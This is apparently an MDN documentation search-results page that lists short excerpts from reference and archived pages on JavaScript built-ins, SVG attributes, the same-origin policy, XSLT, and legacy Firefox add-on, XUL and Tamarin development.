... let contacts = new map() contacts.set('jessie', {phone: "213-555-1234", address: "123 n 1st ave"}) contacts.has('jessie') // true contacts.get('hilary') // undefined contacts.set('hilary', {phone: "617-555-4321", address: "321 s 2nd st"}) contacts.get('jessie') // {phone: "213-555-1234", address: "123 n 1st ave"} contacts.delete('raymond') // false contacts.delete('jessie') // true console.log(contacts.size) // 1 constructor map() creates a new m...
... examples using the map object let mymap = new map() let keystring = 'a string' let keyobj = {} let keyfunc = function() {} // setting the values mymap.set(keystring, "value associated with 'a string'") mymap.set(keyobj, 'value associated with keyobj') mymap.set(keyfunc, 'value associated with keyfunc') mymap.size // 3 // getting the values mymap.get(keystring) // "value associated with 'a string'" mymap.get(keyobj) // "value associated with keyobj" mymap.get(keyfunc) // "value associated with keyfunc" mymap.get('a string') // "v...
...And 3 more matches
RegExp.prototype.exec() - JavaScript
description consider the following example: // match "quick brown" followed by "jumps", ignoring characters in between // remember "brown" and "jumps" // ignore case let re = /quick\s(brown).+?(jumps)/ig; let result = re.exec('the quick brown fox jumps over the lazy dog'); the following table shows the results for this script: object property/index description example result [0] the full string of character...
...s matched "quick brown fox jumps" [1], ...[n] the parenthesized substring matches, if any.
... result[1] === "brown" result[2] === "jumps" index the 0-based index of the match in the string.
...And 3 more matches
String.prototype.replaceAll() - JavaScript
syntax const newstr = str.replaceall(regexp|substr, newsubstr|function) when using a `regexp` you must have to set the global ("g") flag; otherwise, it will throw a typeerror: "replaceall must be called with a global regexp".
...a regexp without the global ("g") flag will throw a typeerror: "replaceall must be called with a global regexp".
...a number of special replacement patterns are supported; see the "specifying a string as a parameter" section below.
...And 3 more matches
encodeURI() - JavaScript
the encodeuri() function encodes a uri by replacing each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character (will only be four escape sequences for characters composed of two "surrogate" characters).
...the following example shows all the parts that a uri "scheme" can possibly contain.
...also, encodeuri() does not encode a few additional characters, known as "unreserved marks", which do not have a reserved purpose but are allowed in a uri "as is".
...And 3 more matches
isNaN() - JavaScript
thus for non-numbers that when coerced to numeric type result in a valid non-nan numeric value (notably the empty string and boolean primitives, which when coerced give numeric values zero or one), the "false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion stems from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values.
... the function should be interpreted as answering the question, "is this value, when coerced to a numeric value, an ieee-754 'not a number' value?" ecmascript 2015 contains the number.isnan() function.
...even with number.isnan, however, the meaning of nan remains the precise numeric meaning and not simply, "not a number".
...And 3 more matches
export - JavaScript
s let k; export default k = 12; // some other file import m from './test'; // note that we have the freedom to use import m instead of import k, because k was default export console.log(m); // will log 12 you can also rename named exports to avoid naming conflicts: export { myfunction as function1, myvariable as variable }; re-exporting / aggregating it is also possible to "import/export" from different modules in a parent module so that they are available to import from that module.
... this can be achieved with the "export from" syntax: export { default as function1, function2 } from 'bar.js'; which is comparable to a combination of import and export: import { default as function1, function2 } from 'bar.js'; export { function1, function2 }; but where function1 and function2 do not become available inside the current module.
... note: the following is syntactically invalid despite its import equivalent: import defaultexport from 'bar.js'; // valid export defaultexport from 'bar.js'; // invalid the correct way of doing this is to rename the export: export { default as defaultexport } from 'bar.js'; examples using named exports in a module my-module.js, we could include the following code: // module "my-module.js" function cube(x) { return x * x * x; } const foo = math.pi + math.sqrt2; var graph = { options: { color:'white', thickness:'2px' }, draw: function() { console.log('from graph draw function'); } } export { cube, foo, graph }; then in the top-level module included in your html page, we could have: import { cube, foo, graph } from './my-module.js'; graph.options...
...And 3 more matches
Populating the page: how browsers work - Web Performance
tcp's three way handshaking technique is often referred to as "syn-syn-ack"—or more accurately syn, syn-ack, ack—because there are three messages transmitted by tcp to negotiate and start a tcp session between two computers.
... tls negotiation for secure connections established over https, another "handshake" is required.
... <!doctype html> <html> <head> <meta charset="utf-8"/> <title>my simple page</title> <link rel="stylesheet" src="styles.css"/> <script src="myscript.js"></script> </head> <body> <h1 class="heading">my page</h1> <p>a paragraph with a <a href="https://example.com/about">link</a></p> <div> <img src="myimage.jpg" alt="image description"/> </div> <script src="anotherscript.js"></script> </body> </html> this response for this i...
...And 3 more matches
fill-rule - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
... --> <polygon fill-rule="evenodd" stroke="red" points="150,0 121,90 198,35 102,35 179,90"/> </svg> usage notes value nonzero | evenodd default value nonzero animatable yes the fill-rule attribute provides two options for how the inside (that is, the area to be filled) of a shape is determined: nonzero the value nonzero determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction, and then examining the places where a segment of the shape crosses the ray.
... example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of nonzero fill rule on crossing path segments --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of nonzero fill rule on a shape inside a shape with the path segment moving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="nonzero" stroke="red" d="m110,0 h90 v90 ...
...And 3 more matches
stroke-linecap - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" ...
... stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4 m1,3 h4 m1,5 h4" stroke="pink" stroke-width="0.025" /> </svg> usage notes value butt | round | square default value butt animatable yes butt the butt value indicates that the stroke for each subpath does not extend beyond its two endpoints.
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!-- effect of the "butt" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> round the round value indicates that at the end of each subpath the stroke will be exte...
...And 3 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
7 example svg, xml in this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
... 16 svg event attributes advanced, attribute, draft, landing, needsupdate, svg event attributes always have their name starting with "on" followed by the name of the event for which they are intended.
... 233 units-per-em deprecated, svg, svg attribute the units-per-em attribute specifies the number of coordinate units on the "em square", an abstract square whose height is the intended distance between lines of type in the same type size.
...And 3 more matches
Basic Transformations - SVG: Scalable Vector Graphics
an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are summed up in an element's transform attribute.
... <svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> the example will render a rectangle, translated to the point (30,40) instead of (0,0).
...use the rotate() transformation for this: <svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg> this example shows a square that is rotated by 45 degrees.
...And 3 more matches
Clipping and masking - SVG: Scalable Vector Graphics
creating clips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted.
...instead its pixel data will be used to determine, which pixels of the circle "make it" to the final rendering.
... <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="gradient"> <stop offset="0" stop-color="black" /> <stop offset="1" stop-color="white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" /> </mask> </defs> <rect x="0" ...
...And 3 more matches
Same-origin policy - Web security
you may see this referenced as the "scheme/host/port tuple", or just "tuple".
... (a "tuple" is a set of items that together comprise a whole — a generic form for double/triple/quadruple/quintuple/etc.) the following table gives examples of origin comparisons with the url http://store.company.com/dir/page.html: url outcome reason http://store.company.com/dir2/other.html same origin only the path differs http://store.company.com/dir/inner/another.html same origin only the path differs https://store.company.com/page.html failure different protocol http://store.company.com:81/dir/page.html failure different port (http:// is port 80 by default) http://news.company.com/dir/page.html failure different host inherited origins scripts executed from pages with an about:blank or j...
... for example, assume a script from the document at http://store.company.com/dir/other.html executes the following: document.domain = "company.com"; afterward, the page can pass the same-origin check with http://company.com/dir/page.html (assuming http://company.com/dir/page.html sets its document.domain to "company.com" to indicate that it wishes to allow that - see document.domain for more).
...And 3 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
both pis can contain "pseudo attributes" the same way that the xml-stylesheet pi does.
... the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl".
... <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript.
...And 3 more matches
Basic Example - XSLT: Extensible Stylesheet Language Transformations
figure 4 : xml file <?xml version="1.0"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
... </myns:body> </myns:article> figure 5 : xslt stylesheet <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span cla...
...ss="title"> <xsl:value-of select="/myns:article/myns:title"/> </span> <br /> authors: <br /> <xsl:apply-templates select="/myns:article/myns:authors/myns:author"/> </p> <p class="mybox"> <xsl:apply-templates select="//myns:body"/> </p> </body> </html> </xsl:template> <xsl:template match="myns:author"> -- <xsl:value-of select="." /> <xsl:if test="@company"> :: <b> <xsl:value-of select="@company" /> </b> </xsl:if> <br /> </xsl:template> <xsl:template match="myns:body"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|nod...
...And 3 more matches
JavaScript/XSLT Bindings - XSLT: Extensible Stylesheet Language Transformations
figure 1 : instantiating an xsltprocessor var xsltprocessor = new xsltprocessor(); // load the xsl file using synchronous (third param is set to false) xmlhttprequest var myxmlhttprequest = new xmlhttprequest(); myxmlhttprequest.open("get", "example.xsl", false); myxmlhttprequest.send(null); var xslref = myxmlhttprequest.responsexml; // finally import the .xsl xsltprocessor.importstylesheet(xslref); for the actual transformation, xsltprocessor requires an xml document, which is used in conjunction with the imported xsl file to produce the final result.
...assuming that the dom to be processed is contained by an element with the id example, that dom can be "cloned" using the in-memory xml document's document.importnode() method.
...by making the second parameter "true", it will clone all descendants as well (a deep clone).
...And 3 more matches
base64 - Archive of obsolete content
var base64 = require("sdk/base64"); var encodeddata = base64.encode("hello, world"); var decodeddata = base64.decode(encodeddata); globals functions encode(data, charset) creates a base-64 encoded ascii string from a string of binary data.
...the only accepted value is "utf-8".
... in order to encode and decode unicode strings, the charset parameter needs to be set: var base64 = require("sdk/base64"); var encodeddata = base64.encode(unicodestring, "utf-8"); returns string : the encoded string decode(data, charset) decodes a string of data which has been encoded using base-64 encoding.
...And 2 more matches
private-browsing - Archive of obsolete content
opting into private browsing add-ons built using the sdk must opt into private browsing by setting the following key in their package.json file: "permissions": {"private-browsing": true} if an add-on has not opted in, then the high-level sdk modules will not expose private windows, or objects (such as tabs) that are associated with private windows: the windows module will not list any private browser windows, generate any events for private browser windows, or let the add-on open any private browser windows the tabs module will...
...for example, here's an add-on that stores the titles of tabs the user loads, and uses isprivate() to exclude the titles of tabs that were loaded into private windows: var simplestorage = require("simple-storage"); if (!simplestorage.storage.titles) simplestorage.storage.titles = []; require("tabs").on("ready", function(tab) { if (!require("sdk/private-browsing").isprivate(tab)) { console.log("storing..."); simplestorage.storage.titles.push(tab.title); } else { console.log("not storing, private data"); } }); here's an add-on that uses a page-mod to log the content o...
...in the handler for the page-mod's attach event, it passes the worker into isprivate(): var pagemod = require("sdk/page-mod"); var privatebrowsing = require("sdk/private-browsing"); var loggingscript = "self.port.on('log-content', function() {" + " console.log(document.body.innerhtml);" + "});"; function logpublicpagecontent(worker) { if (privatebrowsing.isprivate(worker)) { console.log("private window, doing nothing"); } else { worker.port.emit("log-content"); } } pagemod.pagemod({ include: "*", contentscript: loggingscript, onattach: logpublicpagecontent }); tracking private-browsing exit sometimes it can be useful to cache some data from private windows while they a...
...And 2 more matches
stylesheet/utils - Archive of obsolete content
it accepts the following values: "agent", "user" and "author".
... if not provided, the default value is "author".
...it accepts the following values: "agent", "user" and "author".
...And 2 more matches
window/utils - Archive of obsolete content
defaults to "chrome://browser/content/browser.xul".
...defaults to "_blank".
...in particular: null: get all window types navigator:browser: get "normal" browser windows devtools:scratchpad: get scratchpad windows navigator:view-source: get view source windows if you're not also passing options, you can omit this, and it's the same as passing null.
...And 2 more matches
Storing annotations - Archive of obsolete content
the annotation is composed of the text the user entered and the "annotation anchor", which consists of the url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this...
... annotation list content script here's the annotation list's content script: self.on("message", function onmessage(storedannotations) { var annotationlist = $('#annotation-list'); annotationlist.empty(); storedannotations.foreach( function(storedannotation) { var annotationhtml = $('#template .annotation-details').clone(); annotationhtml.find('.url').text(storedannotation.url) .attr('href', storedannotation.url); annotati...
... annotation list html and css here's the html for the annotation list: <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>saved annotations</title> <link rel="stylesheet" type="text/css" href="annotation-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id="template"> <div class="annotation-details"> <a class="url"></a> <div class="selection-text"></div> <div class="annotation-text"></div> </div> </div> </body> </html...
...And 2 more matches
Modifying the Page Hosted by a Tab - Archive of obsolete content
here's a simple example: var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscript: 'document.body.style.border = "5px solid red";' }); } }); to run this example, save an icon file named "icon-16.png" in add-on's "data" directory.
... for example, if we save the script above under the add-on's data directory in a file called my-script.js: var self = require("sdk/self"); var button = require("sdk/ui/button/action").actionbutton({ id: "style-tab", label: "style tab", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").activetab.attach({ contentscriptfile: self.data.url("my-script.js") }); } }); you can load more than one script, and the scripts can interact directly with each other.
... // index.js var self = require("sdk/self"); var tabs = require("sdk/tabs"); require("sdk/ui/button/action").actionbutton({ id: "load-several", label: "load several scripts", icon: "./icon-16.png", onclick: function () { tabs.activetab.attach({ contentscriptfile: [self.data.url('first.js'), self.data.url('second.js')] }); } }); communicating with the content scripts your add-o...
...And 2 more matches
Bootstrapped extensions - Archive of obsolete content
for example, you can get access to the menu bar in firefox with document.getelementbyid("main-menubar").
... note: if you open the add-on manager and then click "remove" on an add-on, it will not call uninstall function right away.
... this is a soft uninstall because of the available "undo" option.
...And 2 more matches
Finding window handles - Archive of obsolete content
finding the content window handle hwnd hcontent = 0; // first we need to find the main browser window hwnd hff = ::findwindowex(0, 0, "mozillauiwindowclass", 0); if (hff) { // next we step down through a fixed structure hwnd htemp; htemp = ::findwindowex(hff, 0, "mozillawindowclass", 0); htemp = ::findwindowex(htemp, 0, "mozillawindowclass", 0); // assume only 1 window at this level has children // and the 1 with children is the one we want hwnd hchild = ::getwindow(htemp, gw_child); while (htemp...
... // that child is hopefully the content window if (htemp) { htemp = ::getwindow(htemp, gw_child); hcontent = ::findwindowex(htemp, 0, "mozillacontentwindowclass", 0); } } // at this point hcontent is null or the content window hwnd i am not sure how "fragile" the assumptions are about the window structure, but it matched the values i got from spy++.
...mozilla developers have put the reference to the gtkwindow* into the gdkwindow* "user data", as a back reference.
...And 2 more matches
Windows - Archive of obsolete content
example window.open(); //this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console.
... example var startpos = null; function mousedown(event) { startpos = [event.clientx, event.clienty]; } function mousemove(event) { if (startpos) { var newx = event.screenx - startpos[0]; var newy = event.screeny - startpos[1]; window.moveto(newx, newy); } } function mouseup(event) { startpos = null; } window.addeventlistener("mousedown", mousedown, false); window.addeventlistener("mouseup", mouseup, false); window.addeventlistener("mousemove", mousemove, false); xul titlebar element xul applications can take advantage of the titlebar element to achieve a similar result without extra javascript code.
... var wenum = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher) .getwindowenumerator(); var index = 1; var windowname = "yourwindowname"; while (wenum.hasmoreelements()) { var win = wenum.getnext(); if (win.name == windowname) { win.focus(); return; } index++ } window.open("chrome://to/your/window.xul", windo...
...And 2 more matches
Communication between HTML and your extension - Archive of obsolete content
what i wanted to do was have an extension "look" for something on an html page and if it found that something perform some operation on the found thing and then update the status bar with the results of the operation.
... with a lot of help from irc://irc.mozilla.org#js and irc://irc.mozilla.org#extdev i was able to get it running pretty well, but i still would rather have the client less responsible for pinging the extension to "look" for what is on the page.
...some of the events only apply to certain types of elements so i included trying to modify the result of the ajax request to be of the appropriate element type (img, which supports "onload," rather than span, which doesn't, for example).
...And 2 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
we'll now begin with a basic "hello world" extension.
... install hello world click the above link and then click "allow" in the pop-up bubble.
...click "install".
...And 2 more matches
User Notifications and Alerts - Archive of obsolete content
the "remember password" prompt is the one that shows up the most often.
... notification boxes are very easy to create, and are very customizable: let nb = gbrowser.getnotificationbox(); let acceptbutton = new object(); let declinebutton = new object(); let message = this._bundle.getstring("xulschoolhello.friendmessage.label"); let that = this; acceptbutton.label = this._bundle.getstring("xulschoolhello.acceptbutton.label"); acceptbutton.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.callback = function() { that.acceptrequest(); }; // similarly for decline button.
... nb.appendnotification( message, "xulschoolhello-friend-notification", "chrome://xulschoolhello/skin/friend-notification.png", nb.priority_info_high, [ acceptbutton, declinebutton ]); all browser tabs have a notification box by default, so you don't need to do any overlaying.
...And 2 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
enu popup menu_toolspopup taskpopup taskpopup tools menu popup - windowpopup windowpopup window menu popup menu_helppopup helppopup helppopup help menu popup urlbar icons to display a button with a menupopup in the urlbar-icons for both firefox and seamonkey 2.0, use this code: <hbox id="urlbar-icons"> <image popup="myext-menu"/> </hbox> <window id="main-window"> <menupopup id="myext-menu"> <menuitem label="menuitem"/> <menuitem label="menuitem"/> </menupopup> </window> instead of <hbox id="urlbar-icons"> <button type="menu"> <menupopup> <menuitem label="menuitem"/> ...
... <menuitem label="menuitem"/> <menuitem label="menuitem"/> </menupopup> </button> </hbox> technical note: the code that opens the url history popup just looks for any menupopup, so it goes wrong if you add your own.
... the statusbar in firefox 3 a new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window.
...And 2 more matches
Signing an extension - Archive of obsolete content
here's an example of verisign: nss-certutil -m -n "verisign class 3 public primary certification authority" -t "c,c,c" -d .
... nss-certutil -m -n "verisign class 3 public primary certification authority - g5 - verisign, inc." -t "c,c,c" -d .
... nss-certutil -m -n "verisign class 3 code signing 2010 ca - verisign, inc." -t "c,c,c" -d .
...And 2 more matches
Firefox addons developer guide - Archive of obsolete content
there are a few things that could be done to make this fit the site better, and for general cleaning up: tables should use the "standard-table" css class so they're styled the same as those on the rest of mdc.
... each chapter should be tagged appropriately, based on content, and every chapter should include the tag "firefox addons developer guide".
... xpi should be in all caps instead of written as ("xpi").
...And 2 more matches
Using the Stylesheet Service - Archive of obsolete content
using the api the string "chrome://myext/content/myext.css" in the examples below is just an example.
... var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); sss.loadandregistersheet(uri, sss.user_sheet); note: loadandregistershe...
... var sss = components.classes["@mozilla.org/content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uri = ios.newuri("chrome://myext/content/myext.css", null, null); if(!sss.sheetregistered(uri, sss.user_sheet)) sss.loadandregistersheet(uri, sss.use...
...And 2 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
copy and paste the content from here: <!doctype html public "-//w3c//dtd html 4.0//en"> <html> <head> <title>mozilla css getting started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a new css file, style6.css.
...copy and paste the content from here: /*** xbl demonstration ***/ #square { -moz-binding: url("square.xbl#square"); } make a new text file, square.xbl.
...copy and paste the content from here: <?xml version="1.0"?> <!doctype bindings> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources> <stylesheet src="bind6.css"/> </resources> <content> <html:div anonid="square"/> <xul:button anonid="button" type="button"> <children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "button") ]]></f...
...And 2 more matches
XML data - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <!-- xml demonstration --> <?xml-stylesheet type="text/css" href="style9.css"?> <!doctype planet> <planet> <ocean> <name>arctic</name> <area>13,000</area> <depth>1,200</depth> </ocean> <ocean> <name>atlantic</name> <area>87,000</area> <depth>3,900</depth> </ocean> <ocean> <name>pacific</name> <area>180,000</area> <depth>4,000</depth> </ocean> <ocean> <name>indian</name> <area>75,000</...
...copy and paste the content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em; background-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em; background-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { display: block; } area:before { content: "area: "; } area:aft...
...er { content: " million km\b2"; } depth { display: block; } depth:before { content: "mean depth: "; } depth:after { content: " m"; } open the document in your browser: oceans arctic area: 13,000 million km² mean depth: 1,200 m atlantic area: 87,000 million km² mean depth: 3,900 m .
...And 2 more matches
chargingchange - Archive of obsolete content
example navigator.getbattery().then(function(battery) { console.log("battery charging?
... " + (battery.charging ?
... "yes" : "no")); battery.addeventlistener('chargingchange', function() { console.log("battery charging?
...And 2 more matches
Getting the page URL in NPAPI plugin - Archive of obsolete content
npn_getvalue( m_pnpinstance, npnvwindownpobject, &swindowobj ); // create a "location" identifier.
... npidentifier identifier = npn_getstringidentifier( "location" ); // declare a local variant value.
...bool b1 = npn_getproperty( m_pnpinstance, swindowobj, identifier, &variantvalue ); // get a pointer to the "location" object.
...And 2 more matches
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
to "comment out" a value, set its value to 0xffffffff.
... as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the comma - matches are whole-word only) and value 0x5, the assert would automatically be ignored.
... if you also had a dword named "3173", it would have no effect here because the handler stops comparing values at the first match.
...And 2 more matches
importUserCertificates - Archive of obsolete content
resultstring = crypto.importusercertificates("nicknamestring","certstring",forcebackup); argument description "nicknamestring" this is the nickname that will be used to describe the certificate in the client's certificate management ui.
...for example, "john smith's verisign class 3 digital id" or "john smith's ford id certificate".
... however, if this certificate has the same dn as one or more certificates that already exist in the user's certificate store, the nickname associated with the certificate(s) of the same dn in the certificate store is used, and the <tt>"nicknamestring"</tt> parameter is ignored.
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
... jetpack.import.future("clipboard");// in text formatjetpack.clipboard.set("hello world");// in other clipboard get(flavor string)returns data to jetpack from the clipboard.
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data from jetpack to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
... jetpack.import.future("clipboard"); // in text format jetpack.clipboard.set("hello world"); // in other clipboard get(flavor string)returns data to jetpack from the clipboard.
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data from jetpack to the clipboard.
...the only flavors currently implemented are 'plain' (text/unicode) and 'html' (which is html).string"text" here's an example of how to use the method to set the clipboard.
... jetpack.import.future("clipboard"); // in text format jetpack.clipboard.set("hello world"); // in other clipboard get(flavor string)returns data to jetpack from the clipboard.
...And 2 more matches
PyDOM - Archive of obsolete content
script="foo = 1" ...
... an event handler like: <button onclick="print foo"/> should be able to reference 'foo' via globals as shown.
...for example, let's say you have xul similar to pyxultest: top-level script code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="event.target.foo += 1; print 'foo is now', event.target.foo"/> note that (a) we have stuck an arbitrary attribute on a dom element and (b) in all cases (e.g., event handler and top-level script), the dom node needs to be explicitly specified - the globals are the window itself.
...And 2 more matches
Abc Assembler Tests - Archive of obsolete content
sample abcasm test /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
...And 2 more matches
Tamarin Acceptance Test Template - Archive of obsolete content
ate for tamarin acceptance tests (placed in test/acceptance/feature_name): /* -*- mode: js; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */ /* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */ /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use this file except in compliance with * the license.
... you may obtain a copy of the license at * http://www.mozilla.org/mpl/ * * software distributed under the license is distributed on an "as is" basis, * without warranty of any kind, either express or implied.
... * * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
...And 2 more matches
Running Tamarin performance tests - Archive of obsolete content
to compare a build against another build set the avm2 environment variable to the other avmshell or use the "-s --avm2" options.
... "--index index.py" will load index.py and run all of the tests in that index and report results normalized to the index values.
... "--saveindex indexname.py" will run the specified tests and save the values to the give index file.
...And 2 more matches
The life of an HTML HTTP request - Archive of obsolete content
the webshell then tells its documentloader to load (command "view") the specified url.
...now the channel knows the content type of the incoming data, so the documentloader can find an nsidocumentloaderfactory for the "text/html" content type (in this case an nslayoutdlf).
...nsicontent::appendchild() is used to build the content tree but appendchild takes a "anotify" argument that marks if it should notify the document about the content model changes or not.
...And 2 more matches
Treehydra Manual - Archive of obsolete content
instead of representing code in "easy" form like dehydra, treehydra relies on gimple, the gcc internals "middle-end" intermediate representation.
